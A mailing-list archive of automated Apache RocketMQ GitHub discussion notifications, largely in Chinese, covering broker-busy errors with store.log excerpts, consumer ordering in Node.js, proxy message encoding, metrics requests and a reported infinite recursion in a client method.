13:19:50 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:50] currRead:[05-22 05:19:50] currWrite:[05-22 05:19:50] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:52 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:52.084] num:20 cost:10017 tps:2.0066 min:0 max:13 tp50:0 tp80:0 tp90:0 tp99:13 tp999:13 0_1:19 2_5:0 6_10:0 11_50:1 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:56 INFO compactionSchedule_1 - start to scan all topicConfig 2024-05-22 13:19:56 INFO compactionSchedule_1 - scan all topicConfig over 这是store.log 2024-05-22 13:19的日志 GitHub link: https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566454 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy [rocketmq]
GitHub user LinkCaau added a comment to the discussion: broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy 2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX 0.99=0.00ms cost 0ms 2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX 0.999=0.00ms cost 0ms 2024-05-22 13:19:01 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:01.61] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:07 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:07] currRead:[05-22 05:19:07] currWrite:[05-22 05:19:07] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:11 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:11.615] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:12 INFO StoreStatsService - [STORETPS] put_tps 0.0 get_found_tps 0.0 get_miss_tps 43.239190202449386 get_transferred_tps 0.0 2024-05-22 13:19:12 INFO StoreStatsService - findPutMessageEntireTimePX 0.99=0.00ms cost 0ms 2024-05-22 13:19:12 INFO StoreStatsService - findPutMessageEntireTimePX 0.999=0.00ms cost 0ms 2024-05-22 13:19:12 INFO StoreStatsService - [PAGECACHERT] TotalPut 0, PutMessageDistributeTime [<=0ms]:0 [0~10ms]:0 [10~50ms]:0 [50~100ms]:0 [100~200ms]:0 [200~500ms]:0 [500ms~1s]:0 [1~2s]:0 [2~3s]:0 [3~4s]:0 [4~5s]:0 [5~10s]:0 [10s~]:0 2024-05-22 13:19:17 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:17] currRead:[05-22 05:19:17] currWrite:[05-22 05:19:17] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:21 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:21.62] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:26 INFO compactionSchedule_1 - start to scan all topicConfig 2024-05-22 13:19:26 INFO compactionSchedule_1 - scan all topicConfig over 2024-05-22 13:19:28 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:28] currRead:[05-22 05:19:28] currWrite:[05-22 05:19:28] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:31 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:31.625] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:41 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:39] currRead:[05-22 05:19:39] currWrite:[05-22 05:19:39] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:42 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:42.067] num:18 cost:10442 tps:1.7334 min:0 max:308 tp50:0 tp80:0 tp90:0 tp99:308 tp999:308 0_1:17 2_5:0 6_10:0 11_50:0 51_100:0 101_500:1 501_999:0 1000_:0 2024-05-22 13:19:50 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:50] currRead:[05-22 05:19:50] currWrite:[05-22 05:19:50] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:52 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:52.084] num:20 cost:10017 tps:2.0066 min:0 max:13 tp50:0 tp80:0 tp90:0 tp99:13 tp999:13 0_1:19 2_5:0 6_10:0 11_50:1 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:56 INFO compactionSchedule_1 - start to scan all topicConfig 2024-05-22 13:19:56 INFO compactionSchedule_1 - scan all topicConfig over 这是store.log 地2024-05-22 13:19的日志 GitHub link: https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566454 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy [rocketmq]
GitHub user LinkCaau added a comment to the discussion: broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy 没有打印这个日志 GitHub link: https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566442 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 后端服务高可用，当服务a1进行升级时，如何避免rocketmq消息下发到升级节点？ [rocketmq]
GitHub user cserwen added a comment to the discussion: 后端服务高可用，当服务a1进行升级时，如何避免rocketmq消息下发到升级节点？ 即使没有 shutdown，进程停止，服务端也会认为这个消费者下线了，不会再下发消息 GitHub link: https://github.com/apache/rocketmq/discussions/8175#discussioncomment-9545393 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 后端服务高可用，当服务a1进行升级时，如何避免rocketmq消息下发到升级节点？ [rocketmq]
GitHub user cserwen added a comment to the discussion: 后端服务高可用，当服务a1进行升级时，如何避免rocketmq消息下发到升级节点？ a1 升级期间，消费者理应进行 shutdown ，服务端不会再向 shutdown 的消费者发送消息 GitHub link: https://github.com/apache/rocketmq/discussions/8175#discussioncomment-9545382 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy [rocketmq]
GitHub user cserwen added a comment to the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
这里是是服务端 Broker 因为 busy 而快速失败返回给客户端的，具体方法你可以看下
cleanExpiredRequestInQueue，如果队头任务等待时间超过了配置值（默认为200ms）就会 fast fail，以便客户端快速到其他节点重试
一般常见于发送队列，对于发送，最可能的就是 操作系统 pagecache 进行同步回收，阻塞了写入，然后导致写入队列堆积，可以看下服务端 store.log
中有没有以下日志来判断
```log
[NOTIFYME]putMessage in lock cost time(ms)={}, bodyLength={}
AppendMessageResult={}
```
GitHub link:
https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9545368
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 当topic/group超过3w后,broker无法注册到namesrv [rocketmq]
GitHub user xiaoma20082008 added a comment to the discussion: 当topic/group超过3w后,broker无法注册到namesrv > 这个功能，可以在exporter中实现 https://github.com/apache/rocketmq-exporter 也是可以的，但是exporter里需要查询所有的消费组，然后统计数量，在group多的时候，也容易超时和报错。如果直接加metrics，可能更方便一些 GitHub link: https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9542126 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] test [rocketmq]
GitHub user zhangqhai closed a discussion: test test GitHub link: https://github.com/apache/rocketmq/discussions/8176 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 重试消息一次发送多次，只能通过幂等处理吗？ [rocketmq]
GitHub user ling0900 added a comment to the discussion: 重试消息一次发送多次，只能通过幂等处理吗？ 业务幂等是非常有必要的，这也是兜底的一种方式。 GitHub link: https://github.com/apache/rocketmq/discussions/8131#discussioncomment-9516998 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] RocketMQ5.1及以上版本启动sh ./mqbroker -n localhost:9876 --enable-proxy报错问题 [rocketmq]
GitHub user isMrZhang added a comment to the discussion: RocketMQ5.1及以上版本启动sh ./mqbroker -n localhost:9876 --enable-proxy报错问题 有解决办法吗 GitHub link: https://github.com/apache/rocketmq/discussions/7611#discussioncomment-9503066 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] How do I dynamically create and delete a Topic in C++ or Node? [rocketmq]
GitHub user JanYork closed a discussion: How do I dynamically create and delete a Topic in C++ or Node? Can other languages have the ability to operate RocketMQ Admin? For example: adding or deleting Topic in C++ program. It can be implemented in Java. Netty from rocket.remoting provides the ability to operate admin. You can use the tools in the rocket.tool package to implement management operations. But there is no support for Netty in other languages. Netty is a Java library. Is there a better request method? Is it possible to use Grpc to implement the operational capabilities of rocketmq admin? GitHub link: https://github.com/apache/rocketmq/discussions/8037 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] When can the PullConsumer mode of Nodejs be used? [rocketmq-clients]
GitHub user JanYork closed a discussion: When can the PullConsumer mode of Nodejs be used? When can the PullConsumer mode of Nodejs be used? I really need this function. Has anyone packaged it themselves? Can you share it? Or can I use SimpleConsumer directly to encapsulate an implementation similar to PullConsumer? GitHub link: https://github.com/apache/rocketmq-clients/discussions/744 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Is this open source project still being maintained? [rocketmq]
GitHub user JanYork closed a discussion: Is this open source project still being maintained? Why are there no replies to issues and community questions? Is this project still under maintenance? Don’t have any maintenance staff? Many issues and community questions have been around for a long time. GitHub link: https://github.com/apache/rocketmq/discussions/8152 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] How to implement sequential consumption in nodejs in version 5.x? [rocketmq]
GitHub user JanYork closed a discussion: How to implement sequential consumption in nodejs in version 5.x? How do I implement sequential consumption on nodejs? Does grpc provide an interface? GitHub link: https://github.com/apache/rocketmq/discussions/8147 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] In nodejs, the SimpleConsumer receive method cannot guarantee that messages are obtained in order? [rocketmq]
GitHub user JanYork closed a discussion: In nodejs, the SimpleConsumer receive
method cannot guarantee that messages are obtained in order?
my consumer code：
```js
require('module-alias/register');
import { SimpleConsumer } from '@/consumer';
const consumer = new SimpleConsumer({
consumerGroup: 'checkout-group',
endpoints: '192.168.1.162:8081',
subscriptions: new Map().set('checkout-topic-fifo', '*'),
requestTimeout: 3000,
awaitDuration: 3 // long polling
});
console.log('checkout：consumer init success!');
const isShutdown = false;
async function startAndConsumeMessages() {
try {
await consumer.startup();
console.log('checkout：consumer startup success!');
async function consumeMessages() {
try {
const messages = await consumer.receive(10);
if (messages.length > 0) {
console.log('got %d messages', messages.length);
for (const message of messages) {
console.log('body=%o', message.body.toString());
await consumer.ack(message);
}
} else {
console.log('No messages received, waiting...');
}
} catch (error) {
console.error('An error occurred:', error);
} finally {
console.log('checkout：waiting for messages...');
if (!isShutdown) {
await consumeMessages();
}
}
}
await consumeMessages();
} catch (error) {
console.error('An error occurred:', error);
} finally {
// ...
}
}
startAndConsumeMessages().catch(console.error);
```
my producer code：
```js
require('module-alias/register');
import { Producer } from '@/producer';
const fifoProducer = new Producer({
endpoints: 'localhost:8081'
});
console.log('checkout：simpleProducer init success!');
(async () => {
fifoProducer.startup().then(async () => {
console.log('checkout：simpleProducer startup success!');
for (let i = 1; i <= 10; i++) {
await fifoProducer.send({
messageGroup: 'checkout-group',
topic: 'checkout-topic-fifo',
tag: 'checkout',
keys: ['checkout-key'],
body: Buffer.from(i.toString())
});
console.log('message %d sent', i);
console.log('checkout：send message success!');
}
process.exit(0);
});
})();
```
Producer execution log：
```
message 1 sent
checkout：send message success!
message 2 sent
checkout：send message success!
message 3 sent
checkout：send message success!
message 4 sent
checkout：send message success!
message 5 sent
checkout：send message success!
message 6 sent
checkout：send message success!
message 7 sent
checkout：send message success!
message 8 sent
checkout：send message success!
message 9 sent
checkout：send message success!
message 10 sent
checkout：send message success!
```
Consumer execution log：
```
checkout：consumer startup success!
got 10 messages
body='2'
body='3'
body='4'
body='5'
body='6'
body='7'
body='8'
body='9'
body='10'
body='1'
checkout：waiting for messages...
```
It seems that this situation only occurs when the consumer obtains messages for
the first time after startup. The order of monitoring messages thereafter is
consistent.
Isn't the receive method an atomic method? My Topic type is FIFO, and my
messages are produced to the same group in order, but the receive method does
not guarantee the order when it gets the message for the first time after the
consumer starts, and only the first message does this.
GitHub link: https://github.com/apache/rocketmq/discussions/8113
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Is this open source project still being maintained? [rocketmq]
GitHub user RongtongJin added a comment to the discussion: Is this open source project still being maintained? Of course, but everyone has work to do, so responses may not be very timely. Please understand. GitHub link: https://github.com/apache/rocketmq/discussions/8152#discussioncomment-9464071 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] RocketMQ5 Proxy 将消息写入remotingCommand [rocketmq]
GitHub user panxd98 added a comment to the discussion: RocketMQ5 Proxy 将消息写入remotingCommand 原因找到了，msg修改了内容后没有把StoreSize的值设为0，导致转换为byte数组的时候数组最后多了好几个0，然后客户端解析的时候就把第一条之后的都忽略了，在转换为byte数组前加一个这样的代码就可以了： ``` msg.setStoresize(0); ``` GitHub link: https://github.com/apache/rocketmq/discussions/8144#discussioncomment-9453922 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] RocketMQ5 Proxy 将消息写入remotingCommand [rocketmq]
GitHub user panxd98 deleted a comment on the discussion: RocketMQ5 Proxy 将消息写入remotingCommand 把写入到bytebuffer的代码改成这样好像就可以了，应该是put的时候不会自动更新index值的原因。 ``` byteBuffer2.put(msgByte,index,msgByte.length); ``` 这里好像没有缺少写入所有msg的接口 GitHub link: https://github.com/apache/rocketmq/discussions/8144#discussioncomment-9453398 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] RocketMQ5 Proxy 将消息写入remotingCommand [rocketmq]
GitHub user panxd98 added a comment to the discussion: RocketMQ5 Proxy 将消息写入remotingCommand 把写入到bytebuffer的代码改成这样好像就可以了，应该是put的时候不会自动更新index值的原因。 ``` byteBuffer2.put(msgByte,index,msgByte.length); ``` 这里好像没有缺少写入所有msg的接口 GitHub link: https://github.com/apache/rocketmq/discussions/8144#discussioncomment-9453398 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] RocketMQ5 Proxy 将消息写入remotingCommand [rocketmq]
GitHub user panxd98 edited a discussion: RocketMQ5 Proxy 将消息写入remotingCommand
我现在在开发一个Proxy的功能，需要对消费消息请求的response中的消息进行修改。
其中将response转为msgList可以用这个方法:
```
List
msgList=MessageDecoder.decodesBatch(ByteBuffer.wrap(response.geteBody()),true,true,true);
```
但是要把改好后的MessageExt转回byte数组就有问题，我用了这个方法：
```
ByteBuffer byteBuffer2 = ByteBuffer.allocate(bytelen);
for (MessageExt msg : msgList){
byte[] msgByte=MessageDecoder.encode(msg,true);
byteBuffer2.put(msgByte);
}
response.setBody(byteBuffer2.array());
```
我确定ByteBuffer2的byte数组长度没有问题，但是这样做了之后我发现消费者只会消费到这一批中的第一条消息，我想知道正确的将消息写入response的方法应该是怎样的，谢谢。
GitHub link: https://github.com/apache/rocketmq/discussions/8144
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] get_miss_tps 作用是什么 如果很高会怎么样 [rocketmq]
GitHub user cserwen added a comment to the discussion: get_miss_tps 作用是什么 如果很高会怎么样 说明拉取请求没有拉到消息，最可能的原因就是请求位点越界了（上界或下界都有可能），但是服务端会返回给客户端有效的位点，看起来是客户端存在问题，没有使用服务端返回的位点去拉取消息 GitHub link: https://github.com/apache/rocketmq/discussions/8122#discussioncomment-9432678 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 重试消息一次发送多次，只能通过幂等处理吗？ [rocketmq]
GitHub user cserwen added a comment to the discussion: 重试消息一次发送多次，只能通过幂等处理吗？ 首先 RocketMQ 不保证仅消费一次，消费重复是可能的，最常见的如 Rebalance 导致的重复消费，针对你这种情况，提供几个排查点： 1. 通过查询重试消息，确认是否产生了两条重试消息，产生相同重试消息的原因有很多，这里不会详细列举 2. 如果只有一条重试消息，确认下重试消费期间是否有 Rebalance ， 3. 消费组下是否存在多个 clientId 相同的消费者，clientId 相同会导致 rebalance 计算错误，将一个 queue 同时分配给多个 消费者 4. 还有其他一些特殊 case 都会造成重复消费，比如依赖冲突等，这里不再列举 所以最好还是在**消费侧增加幂等逻辑**，避免重复消费对业务造成影响 GitHub link: https://github.com/apache/rocketmq/discussions/8131#discussioncomment-9432651 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 重试消息一次发送多次，只能通过幂等处理吗？ [rocketmq]
GitHub user fuyou001 added a comment to the discussion: 重试消息一次发送多次，只能通过幂等处理吗？ 是的，必须要做幂等。 GitHub link: https://github.com/apache/rocketmq/discussions/8131#discussioncomment-9428479 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 当topic/group超过3w后,broker无法注册到namesrv [rocketmq]
GitHub user RongtongJin added a comment to the discussion: 当topic/group超过3w后,broker无法注册到namesrv 也可以在rocketmq内核的metrics中增加 GitHub link: https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9417473 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 当topic/group超过3w后,broker无法注册到namesrv [rocketmq]
GitHub user leizhiyuan added a comment to the discussion: 当topic/group超过3w后,broker无法注册到namesrv 这个功能，可以在exporter中实现 https://github.com/apache/rocketmq-exporter GitHub link: https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9417416 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 当topic/group超过3w后,broker无法注册到namesrv [rocketmq]
GitHub user xiaoma20082008 edited a comment on the discussion: 当topic/group超过3w后,broker无法注册到namesrv 能不能上报总的topic个数指标和总的group个数的指标，这样可以添加告警 GitHub link: https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9417312 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 当topic/group超过3w后,broker无法注册到namesrv [rocketmq]
GitHub user xiaoma20082008 added a comment to the discussion: 当topic/group超过3w后,broker无法注册到namesrv 能不能上报总的topic个数指标和总的group个数的指标，这样可以添加告警 @RongtongJin GitHub link: https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9417312 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] ConsumeMessageOrderlyService消费消息时，对processQueue的consumeLock加读锁的作用是什么 [rocketmq]
GitHub user Willhow-Gao closed a discussion: ConsumeMessageOrderlyService消费消息时，对processQueue的consumeLock加读锁的作用是什么 看网上的资料都说加锁是为了防止当前consumer还在消费，且没有提交位移时发生了重平衡，正在消费的messagequeue被分配给了其他消费者，导致重复消费。但是通过阅读源码发现，在发生锁争抢时，processQueue是dropped状态，即使加了读锁保证消费完了才继续重分配，消费位移还是无法被提交。还是我理解有误？ ConsumeMessageOrderlyService内部类ConsumeRequest#run的部分代码    顺序消费的重平衡逻辑实现类RebalancePushImpl里的部分代码  GitHub link: https://github.com/apache/rocketmq/discussions/8114 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
[I] 能否支持Mac M3版本的安装包 [rocketmq-client-python]
Yifan200809 opened a new issue, #150: URL: https://github.com/apache/rocketmq-client-python/issues/150 Mac M3在安装librocketmq后遇到报错 使用wget https://github.com/apache/rocketmq-client-cpp/releases/download/2.0.0/rocketmq-client-cpp-2.0.0-bin-release.darwin.tar.gz安装后报错： OSError: dlopen(/usr/local/lib/librocketmq.dylib, 0x0006): tried: '/usr/local/lib/librocketmq.dylib' (mach-o file, but is an incompatible architecture (have 'x86_64', need 'arm64')), '/System/Volumes/Preboot/Cryptexes/OS/usr/local/lib/librocketmq.dylib' (no such file), '/usr/local/lib/librocketmq.dylib' (mach-o file, but is an incompatible architecture (have 'x86_64', need 'arm64')) 使用RocketMQ Client CPP安装包[rocketmq-client-cpp-2.2.0-source-release.tar.gz]编译闪退，更换boost版本均报错 https://github.com/apache/rocketmq-client-python/assets/117885306/db40528e-b0f4-48f4-88ed-742fd889cd78;> -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: dev-unsubscr...@rocketmq.apache.org.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
Re: [D] 当topic/group超过3w后,broker无法注册到namesrv [rocketmq]
GitHub user RongtongJin added a comment to the discussion: 当topic/group超过3w后,broker无法注册到namesrv 或者打开enableSplitRegistration GitHub link: https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9351326 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] How do I dynamically create and delete a Topic in C++ or Node? [rocketmq]
GitHub user cserwen added a comment to the discussion: How do I dynamically create and delete a Topic in C++ or Node? Currently, grpc maybe not support to operate metadata, you can implement the protocol through reference[ rocketmq-client-cpp ](https://github.com/apache/rocketmq-client-cpp) We can also implement RocketMQ admin for the GRPC protocol, but it doesn't seem to be achievable quickly GitHub link: https://github.com/apache/rocketmq/discussions/8037#discussioncomment-9348659 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] BROADCASTING 模式下怎么看消费速度和延迟 [rocketmq]
GitHub user wz2cool added a comment to the discussion: BROADCASTING 模式下怎么看消费速度和延迟 感谢 我试试看哈 GitHub link: https://github.com/apache/rocketmq/discussions/8094#discussioncomment-9342171 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] BROADCASTING 模式下怎么看消费速度和延迟 [rocketmq]
GitHub user cserwen added a comment to the discussion: BROADCASTING 模式下怎么看消费速度和延迟 Java 消费者里也有一个 类用于记录了些状态，ConsumerStatsManager，但是没有堆积的信息， ``` ConsumerStatsManager stats = consumer.getDefaultMQPushConsumerImpl().getConsumerStatsManager() ``` GitHub link: https://github.com/apache/rocketmq/discussions/8094#discussioncomment-9338743 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] BROADCASTING 模式下怎么看消费速度和延迟 [rocketmq]
GitHub user cserwen added a comment to the discussion: BROADCASTING 模式下怎么看消费速度和延迟 广播消费这部分没有目前没有监控，所以暂时看不了。不过可以通过一些特殊的方法实现一下这个功能，比如 - 可以通过 client 拿到所有分区的最大位点，然后读取本地保存的已提交的位点来计算堆积； - 定时读取本地已提交的位点来计算消费速度 GitHub link: https://github.com/apache/rocketmq/discussions/8094#discussioncomment-9338690 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Function 'changeInvisibleDuration0' is infinitely recursive and can only end by throwing an exception. Unused method changeInvisibleDuration0 [rocketmq-clients]
GitHub user MyFloret added a comment to the discussion: Function 'changeInvisibleDuration0' is infinitely recursive and can only end by throwing an exception. Unused method changeInvisibleDuration0 I don't. I don't understand this either GitHub link: https://github.com/apache/rocketmq-clients/discussions/743#discussioncomment-9337280 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Function 'changeInvisibleDuration0' is infinitely recursive and can only end by throwing an exception. Unused method changeInvisibleDuration0 [rocketmq-clients]
GitHub user JanYork edited a discussion: Function 'changeInvisibleDuration0' is
infinitely recursive and can only end by throwing an exception. Unused method
changeInvisibleDuration0
There is a function in
https://github.com/apache/rocketmq-clients/blob/master/nodejs/src/consumer/SimpleConsumer.ts:
```js
async changeInvisibleDuration0(message: MessageView, invisibleDuration: number)
{
await this.changeInvisibleDuration0(message, invisibleDuration);
}
```
Is this intentional? It will recurse infinitely, with no escape conditions and
no logical processing. Why is it like this? ? ?
Then in the Java version of the client,
https://github.com/apache/rocketmq-clients/blob/master/java/client/src/main/java/org/apache/rocketmq/client/java/impl/consumer/SimpleConsumerImpl.java
, the following code exists:
```java
/**
* @see SimpleConsumer#changeInvisibleDuration(MessageView, Duration)
*/
@Override
public void changeInvisibleDuration(MessageView messageView, Duration
invisibleDuration) throws ClientException {
// 调用changeInvisibleDuration0方法
final ListenableFuture future =
changeInvisibleDuration0(messageView, invisibleDuration);
handleClientFuture(future);
}
public ListenableFuture changeInvisibleDuration0(MessageView
messageView, Duration invisibleDuration) {
if (!this.isRunning()) {
log.error("Unable to change invisible duration because simple
consumer is not running, state={}, "
+ "clientId={}", this.state(), clientId);
final IllegalStateException e = new IllegalStateException("Simple
consumer is not running now");
return Futures.immediateFailedFuture(e);
}
if (!(messageView instanceof MessageViewImpl)) {
final IllegalArgumentException exception = new
IllegalArgumentException("Failed downcasting for "
+ "messageView");
return Futures.immediateFailedFuture(exception);
}
MessageViewImpl impl = (MessageViewImpl) messageView;
final RpcFuture future =
changeInvisibleDuration(impl, invisibleDuration);
return Futures.transformAsync(future, response -> {
// Refresh receipt handle manually.
impl.setReceiptHandle(response.getReceiptHandle());
final Status status = response.getStatus();
StatusChecker.check(status, future);
return Futures.immediateVoidFuture();
}, MoreExecutors.directExecutor());
}
```
If the client is running normally and has the same type, we can simplify this
code as follows:
```java
@Override
public void changeInvisibleDuration(MessageView messageView, Duration
invisibleDuration) throws ClientException {
final ListenableFuture future =
changeInvisibleDuration0(messageView, invisibleDuration);
// other ..
}
public ListenableFuture changeInvisibleDuration0(MessageView
messageView, Duration invisibleDuration) {
// other ..
final RpcFuture future =
changeInvisibleDuration(impl, invisibleDuration);
// other ..
}
```
We can try to simplify：
```java
f(x,y){
f(x,y)
}
```
Are these endless recursions intentional? Will there be no problems? Why has to
be this way? Especially the nodejs function, I really don’t understand why it
is like this?
GitHub link: https://github.com/apache/rocketmq-clients/discussions/743
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [I] ERROR: failed to solve: eclipse-temurin:8-jdk-alpine: no match for platform in manifest [rocketmq-docker]
